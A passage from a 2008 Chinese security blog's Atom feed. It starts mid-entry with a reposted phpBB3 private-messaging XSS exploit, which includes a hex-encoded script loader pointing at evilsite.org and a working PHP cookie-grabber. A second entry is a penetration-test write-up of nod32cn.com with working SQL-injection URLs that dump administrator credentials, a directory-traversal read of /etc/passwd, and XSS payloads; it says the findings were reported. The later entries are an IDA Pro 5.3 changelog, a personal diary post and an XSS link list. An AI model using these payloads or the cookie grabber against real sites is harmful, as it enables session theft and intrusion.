		  <summary type="html"><![CDATA[################################################## ####################################<br/># #<br/># Authors: Dante90, WaRWolFz Crew #<br/># T0T4L, Ex Member Crew #<br/># Title: XSS Private Messagging On PhpBB3 By Dante90 [0-Day &amp; Priv8] #<br/># MSN: dante90.dmc4@hotmail.it #<br/># Web: www.warwolfz.org #<br/># Description: XSS (Cross Site Scripting), Grab Status: 100%. #<br/># #<br/>################################################## ####################################<br/><strong>XSS Private Messagging On PhpBB3 By Dante90 [0-Day &amp; Priv8]< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">http://TRAGET/ucp.php?i=pm&amp;mode=compose&amp;action=reply&amp;f=[xss]&amp;p=6779</div></div><br/><br/>Wh&#101;re is:<br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">[xss] = &#39;&#39;;!--&#34;&lt;script&gt;alert(document.cookie);&lt;/script&gt;=&amp;{(alert(1))}</div></div><br/><br/><br/>Redirect Code [Ascii --&gt; Hex]:<br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">[xss] = %3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3 a%2f%2f%77%77%77%2e%65%76%69%6c%73%69%74%65%2e%6f% 72%67%2f%66%69%6c%65%2e%6a%73%3e<br/>(&lt;script src=http://www.evilsite.org/WaRWolFz/file.js&gt;)</div></div><br/><br/><br/>Cookies grabber:<br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;?php<br/><br/>$ip = $_SERVER[&#39;REMOTE_ADDR&#39;];<br/>$referer = $_SERVER[&#39;HTTP_REFERER&#39;];<br/>$agent = $_SERVER[&#39;HTTP_USER_AGENT&#39;];<br/><br/>$data = $_GET[&#39;warwolfz&#39;];<br/>$time = date(&#34;Y-m-d G:i:s A&#34;);<br/>$text = &#34;Time: &#34;.$time.&#34;\nIP:&#34;.$ip.&#34;\nReferer:&#34;.$referer.&#34;\nU ser-Agent:&#34;.$agent.&#34;\nCookie:&#34;.$data.&#34;\n\n&#34;;<br/><br/>$file = fopen(&#39;cookies.html&#39; , &#39;a&#39;);<br/>fwrite($file,$text);<br/>fclose($file);<br/><br/>?&gt; </div></div>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/article.asp?id=250" /> 
	  <id>http://www.patching.net/zhaohuan/default.asp?id=250</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[nod32官方web渗透测试]]></title>
	  <author>
		 <name>ZhaoHuAn</name>
		 <uri>http://www.patching.net/zhaohuan/</uri>
		 <email>sunsp2@163.com</email>
	  </author>
	  <category term="" scheme="http://www.patching.net/zhaohuan/default.asp?cateID=2" label="Security" /> 
	  <updated>2008-08-16T11:06:29+08:00</updated>
	  <published>2008-08-16T11:06:29+08:00</published>
		  <summary type="html"><![CDATA[前几天Ntsill叫我帮忙看看nod32官方站点，最近他们在负责这个，呵呵，简单测试了一下还是存在一些问题的<br/><br/><strong>SQL注入：< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/g200881611215.jpg" border="0" alt=""/><br/><br/><strong>管理员密码< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong>就爆出来了<br/><br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">http://www.nod32cn.com:80/default.php?aid=1+and+1=2+union+all+sel&#101;ct+concat(username,char(58),password),2+from+manager--&amp;p=2&amp;id=86</div></div><br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">http://www.nod32cn.com:80/VisualizeShop.php?vid=7+and+1%3D0&amp;action=Edit</div></div><br/><br/><strong>Directory traversal:< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/h2008816112253.jpg" border="0" alt=""/><br/><a href="http://www.nod32cn.com:80/virus.php?prefix=../../../../../../../../etc/passwd%00.html" target="_blank" rel="external">http://www.nod32cn.com:80/virus.php?prefix=../../../../../../../../etc/passwd%00.html</a><br/><br/><br/>default.php searchword<br/>virus.php&nbsp;&nbsp;&nbsp;&nbsp; 过滤不严导致的跨站<br/><br/><strong>XSS：< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/72008816113248.jpg" border="0" alt=""/><br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">http://www.nod32cn.com:80/virus.php?prefix=&gt;&#34;&gt;&lt;ScRiPt%20%0a%0d&gt;alert(/xss/)%3B&lt;/ScRiPt&gt;</div></div><br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">http://www.nod32cn.com/default.php?id=181&amp;p=24&amp;searchword=&lt;ScRiPt%20%0a%0d&gt;alert(/xss/)%3B&lt;/ScRiPt&gt;<br/></div></div><br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">http://www.nod32cn.com/default.php?id=181&amp;p=24&amp;searchword=%3C/xss/*-* <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>yle=xss:e/**/xpression(alert(/xss/))%3E</div></div><br/><br/><br/><br/>已经上报NOD32。<br/>PS：第一个图截得挺有意思~ 当时没发现~<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/article.asp?id=249" /> 
	  <id>http://www.patching.net/zhaohuan/default.asp?id=249</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[IDA Pro 5.3 feature list]]></title>
	  <author>
		 <name>ZhaoHuAn</name>
		 <uri>http://www.patching.net/zhaohuan/</uri>
		 <email>sunsp2@163.com</email>
	  </author>
	  <category term="" scheme="http://www.patching.net/zhaohuan/default.asp?cateID=1" label="News" /> 
	  <updated>2008-07-17T11:37:07+08:00</updated>
	  <published>2008-07-17T11:37:07+08:00</published>
		  <summary type="html"><![CDATA[IDA Pro 5.3 feature list<br/><br/>New and im<a href="http://prove.blogok.net/" target="_blank">prove</a>d debugger <br/>The previous version of IDA Pro did not add anything to the debugger and we felt it is time for changes. We reimplemented the debugger core and im<a href="http://prove.blogok.net/" target="_blank">prove</a>d the debugger modules. <br/><br/>The new debugger is more efficient and has better support for multithreaded applications. Breakpoint handling is faster, more logical and less deadlocking. Exception handling is more user friendly. <br/><br/>The debugger servers are multithreaded: they can handle multiple debug sessions, no need to kill a hung server o&#114; run multiple copies. <br/><br/><br/>Debugger modules <br/>We added two new debugger targets: <br/><br/>iPhone debugger. Click here for the details. <br/>Symbian OS debugger. Click here for the details. <br/><br/>We publish the source code of all debugger modules. <br/><br/>The Linux debugger module has been im<a href="http://prove.blogok.net/" target="_blank">prove</a>d to support multithreaded applications. We support NPTL based kernels. <br/>Better analysis for PC and ARM <br/>The most important im<a href="http://prove.blogok.net/" target="_blank">prove</a>ments include support for PIC addressing modes, more jump tables and many other useful patterns. In practice this means that the output for iPhone/iMac/Linux/Symbian applications greatly im<a href="http://prove.blogok.net/" target="_blank">prove</a>s. Please refer to the comparison page for more details. <br/>New PDB plugin <br/>The new plugin extracts all name and type information from a PDB file and imports it into the database. The difference is spectacular. <br/>New TILIB utility <br/>This small and nifty utility allows you to cr&#101;ate your own type libraries. The Load C header command in IDA Pro could be used to load them in the past. The TILIB utility is easier to use and gives you more control. It also can import preprocessor symbol information. <br/>Support for third party languages <br/>Interested parties may register their own language interpreter (perl/python/ruby - you name it) to be used as the e&#173;xpression evaluator in IDA. This will allow you to use your favorite language everywh&#101;re in IDA. <br/>Signatures <br/>As usual, the new release comes with up&#100;ated signatures, type libraries, ids files, etc. Namely, we up&#100;ated them for the latest Visual Studio, <a href="http://www.intel.com/cd/corporate/home/apac/zho/" target="_blank"><img src="http://www.patching.net/zhaohuan/images/keywords/Intel.gif" border="0" alt=""/> Intel</a>, and Borland compilers.&nbsp;&nbsp;<br/><br/><br/>PROCESSOR MODULES<br/>+ 6812: added support for HCS12X (thanks to Alex Bratovic)<br/>+ ARM: &#39;mov&#39; macro can consists of multiple (more than 2) instructions (igor)<br/>+ ARM: &#34;stmfd/sub sp,sp&#34; is considered as a typical code sequence; this im<a href="http://prove.blogok.net/" target="_blank">prove</a>d the listing<br/>+ ARM: added support for signed byte element jump tables<br/>+ ARM: better automatic arm/thumb mode switch<br/>+ ARM: better detection of BL as sub o&#114; jump<br/>+ ARM: DCQ means quadro word<br/>+ ARM: ida knows that R7 is used as frame pointer in thumb mode<br/>+ ARM: ida was leaving wrong targets of glue code intact, now it always fixes them; this may eventually modify a user-defined offset but we are certain that this is a good thing to do<br/>+ ARM: more jump table variants are recognized<br/>+ ARM: more glue code and thunk functions are detected<br/>+ ARM: MOVL macro has been renamed as MOV to avoid confusion with MOVLS (thumb mode MOV has always the S bit set); this renaming makes it impossible to tell apart the basic MOV instruction and the MOV macro just looking at the text. Please use the instruction sizes to tell them apart.<br/>+ ARM: much better stack pointer tracing<br/>+ ARM: one more .got addressing method is supported<br/>+ ARM: one more pc-relative addressing method is supported<br/>+ ARM: recognize table switches generated by Apple&#39;s compiler<br/>+ ARM: reference into the middle of a macro instruction destroys it (analysis im<a href="http://prove.blogok.net/" target="_blank">prove</a>ment)<br/>+ ARM: strip the low bit of thumb code references during offset analysis<br/>+ ARM: thumb mode thunk targets are converted to functions<br/>+ ARM: when the processor module is 100% certain that an offset must be cr&#101;ated, it may destroy old database information<br/>+ AVR: added description of AT89C2051 (contribution of an ida user)<br/>+ CLI: if the list of switch targets is too long, it is split into multiple lines<br/>+ CLI: better handling of obfuscated code<br/>+ PC: added detection of check_security_cookie() function for object files<br/>+ PC: added recognition of call+5/pop idiom for PIC code<br/>+ PC: added support for the ud2 instruction<br/>+ PC: added undocumented 3-byte nop instructions (0F 19..0F 1E)<br/>+ PC: automatically recognize .got relative addressing for pic mode elf files<br/>+ PC: better analysis of device drivers<br/>+ PC: better handling of indirect calls by register<br/>+ PC: ida knows that the &#34;alloc_stack&#34; function allocates stack<br/>+ PC: inc/dec sp are taken into account for stack tracing (16-bit segments)<br/>+ PC: indirect calls to noret functions stop the control flow<br/>+ PC: more condition codes and the &#39;elf&#39; register&nbsp;&nbsp;can be directly used in idc while the debugger is active<br/>+ PC: more gcc generated jump tables are recognized<br/>+ PC: third operand of imul instruction is never displayed as offset, stkvar o&#114; stroff<br/>+ PC: user-specified callee address is used for all addressing modes (before is was used only for indirect register calls)<br/>+ M32R: added support for undocumented form of the STH instruction (@R+ addressing mode)<br/><br/>FILE FORMATS<br/>+ AR: added support for Apple/BSD ar libraries (Igor Skochnisky)<br/>+ ELF: added more SPARC relocations<br/>+ EPOC: added support for Symbian S60 3d edition SIS files<br/>+ EPOC: ids files have been up&#100;ated for Symbian SDK for S60 3d edition<br/>+ MACH-O: the entry point of packed executables is visible even if it is in the HEADER segment<br/>+ PDB: new pdb plugin: uses new DIA API and handled type information<br/>+ PE: added support for data imports in GCC compiled binaries<br/>+ PE: added support for long segment names (this and many other im<a href="http://prove.blogok.net/" target="_blank">prove</a>ments thanks to Igor Skochinsky)<br/>+ PE: added support for tiny PE files (thanks to Igor Skochinsky)<br/>+ PIC: allow the user to choose the target device at the loading time; added pic18f2620 port definitions<br/>+ environment variable IDA_LOADALL makes ida to load all segments of input file (pe,elf,coff)<br/><br/>KERNEL<br/>+ added logic to avoid creation of too big multichunk functions<br/>+ added an heuristic rule: switch targets can not be separate functions<br/>+ added FPNUM_LENGTH and FPNUM_DIGITS ida.cfg parameters to set the desired floating point representation<br/>+ added more noreturning functions to noret.cfg<br/>+ added notion of enum element width: now enum types can be synchronized with the local type library without information loss; idc functions to handle the enum element width have been added<br/>+ added signatures for the latest VC8, VC9 and UnixInWindows<br/>+ added support for Visual Studio style enum size specification (e.g. enum name:int {...})<br/>+ better handling of zero length bitfields<br/>+ changed behaviour of the IDALOG_SILENT environment variable: it unconditionally suppresses all output to the message window<br/>+ incorrect structure field types are ignored when building type string for the structure<br/>+ new ida.cfg parameter: WORKDIR specifies the directory to cr&#101;ate temprary database files; can be used to im<a href="http://prove.blogok.net/" target="_blank">prove</a> the speed of opening and closing huge databases<br/>+ new idb event: area_cmt_changed; it is generated when a function o&#114; segment comment is changed<br/>+ the plugin options specified by -O are accessible to PLUGIN_FIX plugins<br/>+ preprocessor directives can be used in type declarations (e.g. #pragma pack)<br/>+ stricter check of stkvars while guessing function types; this allows us to ignore corrupted stack frames<br/>+ the &#34;generate idc&#34; command knows about patched bytes<br/>+ the meaning of the -P command line switch has been changed: -P+: compress, -P: pack, -P-: unpack the database<br/>+ up&#100;ated <a href="http://www.intel.com/cd/corporate/home/apac/zho/" target="_blank"><img src="http://www.patching.net/zhaohuan/images/keywords/Intel.gif" border="0" alt=""/> Intel</a> compiler signatures (added support for v10.1)<br/>+ up&#100;ated Borland BDS signatures and added Delphi 2007 signatures (thanks to Peter Sawatzki)<br/>+ gui: &#39;rename&#39; command renames the structure field under the cursor if applied to an e&#173;xpression refering to global variable of a structure type; before is was renaming the global variable regardless of the cursor position<br/>+ gui: added support for extra keyboard back/forward buttons<br/>+ &#39;bool&#39; is accepted in type declarations<br/><br/>IDC &amp; SDK<br/>+ IDC: added ChangeConfig() to modify ida.cfg settings on the fly<br/>+ IDC: added CompileEx() to compile arbitrary IDC scripts from a string<br/>+ IDC: added debugger option to specify how exceptions are handled. possible values: always, only for unknown exceptions, never display a dialog box upon continuation. The default is set to display the dialog box for all exceptions.<br/>+ IDC: added exception defintion functions<br/>+ IDC: added extended forms of AddStrucMember and SetMemberType<br/>+ IDC: added GetEntryName() to get the name of an export outside of the address space of the program<br/>+ IDC: added GetInputMD5()<br/>+ IDC: added ResumeProcess() and WFNE_NOWAIT for GetDebuggerEvent()<br/>+ IDC: added SetInputFilePath()<br/>+ IDC: added Sleep()<br/>+ IDC: SuspendThread/ResumeThread have been added<br/>+ IDC: added Qword() function (64bit version of IDA)<br/>+ SDK: added a plugin to specify switch idiom details (uiswitch)<br/>+ SDK: added coagulate_dref event (occurs when the kernel analyzes a dref o&#114; coagulates data)<br/>+ SDK: added more qstring member functions and more types based on qvector/qstring<br/>+ SDK: added qsleep()<br/>+ SDK: added qwstring class for unicode strings<br/>+ SDK: added register_extlang() to register third party e&#173;xpression evaluators<br/>+ SDK: added resolve_typedef2(), it returns the name of the resolved type<br/>+ SDK: added SaveBase() function to save the current idb<br/>+ SDK: added ui_preprocess and ui_postprocess events to intercept ui commands<br/>+ SDK: added xref creation/deletion events<br/>+ SDK: choose_local_type() to choose types from the local type library<br/>+ SDK: choosers can be cr&#101;ated without main menu and status bar<br/>+ SDK: exported determine_rtl() and apply_startup_sig() functions<br/>+ SDK: got rid of time_t in the header files because its size is compiler-dependent; we use qtime32_t instead<br/>+ SDK: renamed processor_t::get_jump_target as next_exec_insn; this callback must return the address of the next executed instruction in all cases, not only for jump instructions<br/>+ SDK: set_segm_start/end functions accept SEGMOD_... flags as the last parameter<br/>+ SDK: added get_process_options()<br/>+ SDK: added CH_NOBTNS to suppress all chooser buttons for modal windows<br/><br/>DEBUGGER<br/>+ debugger: added commands to suspend/resume threads<br/>+ debugger: added support for multiple debug names per address; ida will display only the first one in the listing though but other names can be used to refer to the location<br/>+ debugger: CPU window is sleeker, occupies less space on the screen<br/>+ debugger: debugger server kills the application if the server dies for some reason (SIGINT, SIGTERM, etc)<br/>+ debugger: IDA does not steal the window focus when the debugger is controlled from a script o&#114; a plugin<br/>+ debugger: if the remote debugger server becomes irresponsive, close the debug session gracefully<br/>+ debugger: more detailed error message about debugger privileges<br/>+ debugger: reimplemented the debugger core. the new core can handle multithreaded apps and is more intelligent with singlestep/breakpoints. it suspends some threads only if it really unavoidable (the previous core was suspending all threads for singlestepping)<br/>+ debugger: the thread window has no main menu and occupies less screen space<br/>+ debugger: we store debugger desktops for different processors separately<br/>+ debugger: 32-bit and 64-bit versions store the default values in different registry keys<br/><br/>BUGFIXES<br/>BUGFIX: &#39;open sel&#101;ctors window&#39; command was always complaining about failure<br/>BUGFIX: &#39;text search&#39; would not find anything in user-defined graphs<br/>BUGFIX: &#34;bad declaration&#34; error message could appear while loading some pdb files<br/>BUGFIX: .net cli was incorrectly decoding conv.r4, conv.r8, and conv.r.un instructions<br/>BUGFIX: 64-bit portion of Macho-O files could be proposed to be disassembled by default by 32-bit version of ida<br/>BUGFIX: 64-bit: rebasing the program would leave the relocations in the incorrect sate because of a wrong loader file name<br/>BUGFIX: abstract function prototype with the __spoils keyword could contain some garbage after the keyword<br/>BUGFIX: anonymous structure types could crash ida<br/>BUGFIX: arm: xrefs from byte operands with a displacement could be incorrect<br/>BUGFIX: arrays of partial types (like _BYTE[5]) could not be declared<br/>BUGFIX: binary search for too long string (&gt;1024 bytes) would crash IDA<br/>BUGFIX: calling get_colored_[demangled_]name with too small buffer would lead to fatal error<br/>BUGFIX: closing a chooser window with a middle click on its tab would prevent ida from reopening it in the future<br/>BUGFIX: could crash trying to demangle extremely long names<br/>BUGFIX: could crash trying to refresh a graph view<br/>BUGFIX: could crash when the debugger was launched<br/>BUGFIX: could fail with &#34;not enough memory&#34; trying to open a huge database<br/>BUGFIX: could hang trying to calculate the number of purged bytes<br/>BUGFIX: could not display empty graphs<br/>BUGFIX: could undefine some instructions upon the debugger start<br/>BUGFIX: definition of iphdr structure was wrong in gnuunx.til<br/>BUGFIX: duplicate field names in struct/union declarations were not reported<br/>BUGFIX: envp in main() prototype was declared incorrectly<br/>BUGFIX: epoc: exports of epoc files with versioning support were incorrectly parsed<br/>BUGFIX: esp based stack variables were displayed incorrectly if the frame pointer delta was non-zero<br/>BUGFIX: fatal error could occur at the end of the debugging session (interr:manage_debugger_segments)<br/>BUGFIX: fixed a memory leak in idc interpreter<br/>BUGFIX: functions with EH_prolog could have wrong stack trace<br/>BUGFIX: get_process_qty() would fail if the debugger was not connected to a remote computer; now it automatically establishes connection if necessary<br/>BUGFIX: graph overview window might lose its &#34;topmost&#34; attribute for some reason<br/>BUGFIX: green arrow was displayed incorrectly in wince debugger<br/>BUGFIX: gui: problems with window focus in mdi: right clicking on an inactive graph view would switch the focus to it but right clicking on the window which was active initially would not return focus to it<br/>BUGFIX: gui: there could be garbage at the end of very long disassembly lines<br/>BUGFIX: HEX loader would load garbage if user in the &#39;word addressing&#39; mode for PIC processor<br/>BUGFIX: huge basic blocks could generate endless &#34;insuffucient resources&#34; dialogboxes in the graph mode<br/>BUGFIX: idc: exception codes and exit codes were signed extended in 64-bit ida<br/>BUGFIX: if a plugin modified a standard struct o&#114; enum, the corresponding local type would stay unmodified and out of sync<br/>BUGFIX: if a plugin would cr&#101;ate a graph view and would not specify the zoom level, IDA would crash<br/>BUGFIX: if the analysis indicator was disabled, ida would display garbage<br/>BUGFIX: if the user specified java target for non-java input file, ida would quit without cleaning temporary files<br/>BUGFIX: in amd64 elf files R_X86_64_PC32 relocation record&nbsp;&nbsp;could resolve incorrectly in some cases<br/>BUGFIX: in some very rare cases ida could quit with an error message (trying to analyze a function with an unreachable loop that passes control to other basic blocks reachable from the function entry)<br/>BUGFIX: it was impossible to use &#39;text search&#39; in user-defined graphs<br/>BUGFIX: linux: IDA could not display unicode strings if the LC/LC_CTYPE environment variables were missing; now it falls back to LANG<br/>BUGFIX: list windows: pressing Ctrl-Enter staying at the last element would cause an access violation<br/>BUGFIX: loading a corrupted til file could crash ida<br/>BUGFIX: m32r: clrpsw <img src="http://www.patching.net/zhaohuan/images/smilies/icon_heart.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/>tpsw instructions would generate interr<br/>BUGFIX: mac debugger: the error message about the &#34;setgit procmod&#34; requirement was always about mac_server. for local debugger, idal must be setgid procmod, not mac_server.<br/>BUGFIX: macho files had empty &#39;imports&#39; window<br/>BUGFIX: mc68x16 lbra instruction stops the execution flow but ida was not aware of it<br/>BUGFIX: mentioning debugger plugins as regular plugins in plugin.cfg could lead to a crash<br/>BUGFIX: mips jalx instruction was toggling the mips16 bit at a wrong address<br/>BUGFIX: mips: negative operands could not be converted to offsets<br/>BUGFIX: MIPS16 jalx instruction was decoded incorrectly<br/>BUGFIX: multiple copies of ida could run slowly on multicore cpus<br/>BUGFIX: non-resursive implementation of gdl_graph_t::path because the recursive implementation was running out of stack in some special cases<br/>BUGFIX: old segment name was unusable after a segment renaming<br/>BUGFIX: pc elf files could have vc6win.til file loaded instead of gnuunx.til<br/>BUGFIX: pc: feature bits of bswap instruction were wrong<br/>BUGFIX: pc: some illegal instructions could be disassembled as &#39;mov&#39; (opcodes C6 and C7)<br/>BUGFIX: PIC: immediate operand of movlw and similar instructions was treated as a signed number<br/>BUGFIX: PPC could not disassemble m[tf]ocrf instructions<br/>BUGFIX: rebasing the database would not up&#100;ate some information (function prologs, etc) for x86 targets<br/>BUGFIX: rebasing the program would not modify its imagebase in the database (no visible consequences, though)<br/>BUGFIX: restarting the debugger could cause a crash if the stack trace window was opened by default<br/>BUGFIX: SDK: intel.hpp, is_segreg() had a bug<br/>BUGFIX: SDK: set_da() had a bug<br/>BUGFIX: some EPOC6 SIS files could not be loaded<br/>BUGFIX: some pic devices were placed in wrong cfg files<br/>BUGFIX: some TMS470 ARM COFF files could not be loaded (the text segment would be skipped)<br/>BUGFIX: some very old databases could not be upgraded<br/>BUGFIX: sorted lists were not refreshed properly<br/>BUGFIX: structure fields of the &#34;structure offset&#34; type were exported incorrectly to IDC file<br/>BUGFIX: structures and enums that were cr&#101;ated by importing local types had &#39;til type&#39; flag which would prevent further synchronization from idb to local til<br/>BUGFIX: switching between target processors in mc68xx was buggy and would lead disassembly problems (6805/6808)<br/>BUGFIX: Symbian9 epoc import parsing was incorrect<br/>BUGFIX: the check of address space limit was incorrect<br/>BUGFIX: the current file offset was displayed incorrectly for processors with unusual byte size<br/>BUGFIX: the cursor position was changing after a debug session<br/>BUGFIX: the debugger was displaying a dialog box on exceptions with &#34;don&#39;t stop&#34; flag<br/>BUGFIX: the default alignment was incorrectly set to 4 for 64bit programs (must be 8)<br/>BUGFIX: the graph overview window would not be immediately displayed for user-defined graph views<br/>BUGFIX: the second parameter of the cr&#101;ate_struc_member event was wrong<br/>BUGFIX: the stack analysis could fail with a fatal error for huge function with too many stack change points<br/>BUGFIX: there could be some access violations if the Jump() function was repeatedly used from an IDC script<br/>BUGFIX: there were discrepancies between 32-bit and 64-bit versions of IDA<br/>BUGFIX: too long function names could crash ida (while displaying xref information)<br/>BUGFIX: trace results in the file were too wide<br/>BUGFIX: tree layout could crash on some cyclic graphs<br/>BUGFIX: tricore module was not creating xrefs for offset e&#173;xpressions<br/>BUGFIX: user-defined xrefs could be replaced by regular xrefs and then del&#101;ted by the kernel<br/>BUGFIX: vmread/vmwrite instructions were decoded incorrectly in 64-bit mode<br/>BUGFIX: when attaching to a process IDA would not properly switch to the debugger desktop<br/>BUGFIX: if the graph layout algorithm failed, the graph would be left in an incorrect state (with temporary nodes)<br/>BUGFIX: 64bit: it was impossible to edit a breakpoint at address &gt; 0xFFFFFFFF<br/>BUGFIX: IDA window title might display garbage after closing a mini database<br/><br/>14/07/2008<br/><br/><br/><a href="http://www.hex-rays.com/idapro/53/index.htm" target="_blank" rel="external">http://www.hex-rays.com/idapro/53/index.htm</a>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/article.asp?id=248" /> 
	  <id>http://www.patching.net/zhaohuan/default.asp?id=248</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Looooooong time no up&#100;ate:)]]></title>
	  <author>
		 <name>ZhaoHuAn</name>
		 <uri>http://www.patching.net/zhaohuan/</uri>
		 <email>sunsp2@163.com</email>
	  </author>
	  <category term="" scheme="http://www.patching.net/zhaohuan/default.asp?cateID=5" label="Diary" /> 
	  <updated>2008-07-16T23:00:55+08:00</updated>
	  <published>2008-07-16T23:00:55+08:00</published>
		  <summary type="html"><![CDATA[&nbsp;&nbsp;确实又是两个多月没有更新了……<br/>&nbsp;&nbsp;从在mifor师傅的blog转移到这里，我开始相信，过多依赖网络，还真会使灵感走向枯竭，思维模式也慢慢改变，离以前的那个自己越来越远。从以前的每天更新到现在，我已经认为，我是个不适合<strong>写< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong>的人，甚至一些很有想法的时候，也不想在BLOG上表现出来，看着每天不少的朋友光临，关注着我的朋友，还有申请连接的朋友，心中还是有些XX（词穷了），还有abu师傅，我知道这个空间其实远远不只当初的那几百M了 ^.^<br/><br/>&nbsp;&nbsp; 从5月百度面试回来到现在，好象也没变什么，依旧还是那样，偶尔做一做知识整理，看看聚合，关心一下最近业界出了什么新闻，什么地方出了哪些安全问题，存在的安全隐患，新的漏洞。。只是，研究的时间少了，真的感觉自己，慢慢离安全这个话题越来越远，但是CC总说得对，走得多远还是得看自己。<br/><br/>&nbsp;&nbsp;最近刺发了一期的百度XSS，看了一下，还有我报过的几个，呵呵，从上次百度的面试中，其实也发现了这个问题，百度对WEB安全实在是很不重视，记得有几个XSS我还是直接报给相关人员的，一直到现在也没有补。还记得Dr.Li问我的几个WEB安全问题，也只是很轻描淡写的几句。我那时后在想，百度上次那个worm就没什么好说的了，而且临时挖就能找到一堆XSS。以至于现在刺暴出一系列XSS问题，我一点也不觉得吃惊。<br/><br/>&nbsp;&nbsp;不过兄弟们能去百度的话还是很好的，这段时间百度对安全还是相当的重视，而且web安全方面缺乏相关的人才，特别是应届毕业在百度的待遇在业界都很有竞争力，而且去的时候最好是系统部的Doctor Li面，他是一位知识渊博且很有亲和力和谦虚的人，在他面前你无需感到紧张 不过建议去的同学还是要加强其他方面的知识，尤其是linux和程序方面、安全编码经验等，做好充分的准备 ：）<br/><br/>&nbsp;&nbsp;再过一年就毕业了，目前的想法是在北京工作，今天在这里BLOG一下，希望明年回头看到这些年走来的路，能够倍感欣慰。<span style="color:Red">还是要感谢xundi师傅，cc总，ben总，nuke师傅，caoz师傅，谢谢你们给我这么多宝贵的机会。</span><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/article.asp?id=247" /> 
	  <id>http://www.patching.net/zhaohuan/default.asp?id=247</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[XSS Related]]></title>
	  <author>
		 <name>ZhaoHuAn</name>
		 <uri>http://www.patching.net/zhaohuan/</uri>
		 <email>sunsp2@163.com</email>
	  </author>
	  <category term="" scheme="http://www.patching.net/zhaohuan/default.asp?cateID=2" label="Security" /> 
	  <updated>2008-05-11T21:47:31+08:00</updated>
	  <published>2008-05-11T21:47:31+08:00</published>
		  <summary type="html"><![CDATA[From my over sized Firefox scrapbook and draft queue cleanup:<br/><br/><a href="http://mybeni.rootzilla.de/mybeNi/2007/this_is_the_first_weblog_xss_worm/" target="_blank" rel="external">http://mybeni.rootzilla.de/mybeNi/2007/this_is_the_first_weblog_xss_worm/</a><br/><br/><a href="http://www.seo-blackhat.com/xss-cheat-sheet/" target="_blank" rel="external">http://www.seo-blackhat.com/xss-cheat-sheet/</a><br/><br/><a href="http://www.owasp.org/index.php/Main_Page" target="_blank" rel="external">http://www.owasp.org/index.php/Main_Page</a> ]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/article.asp?id=246" /> 
	  <id>http://www.patching.net/zhaohuan/default.asp?id=246</id>
  </entry>	
		
</feed>
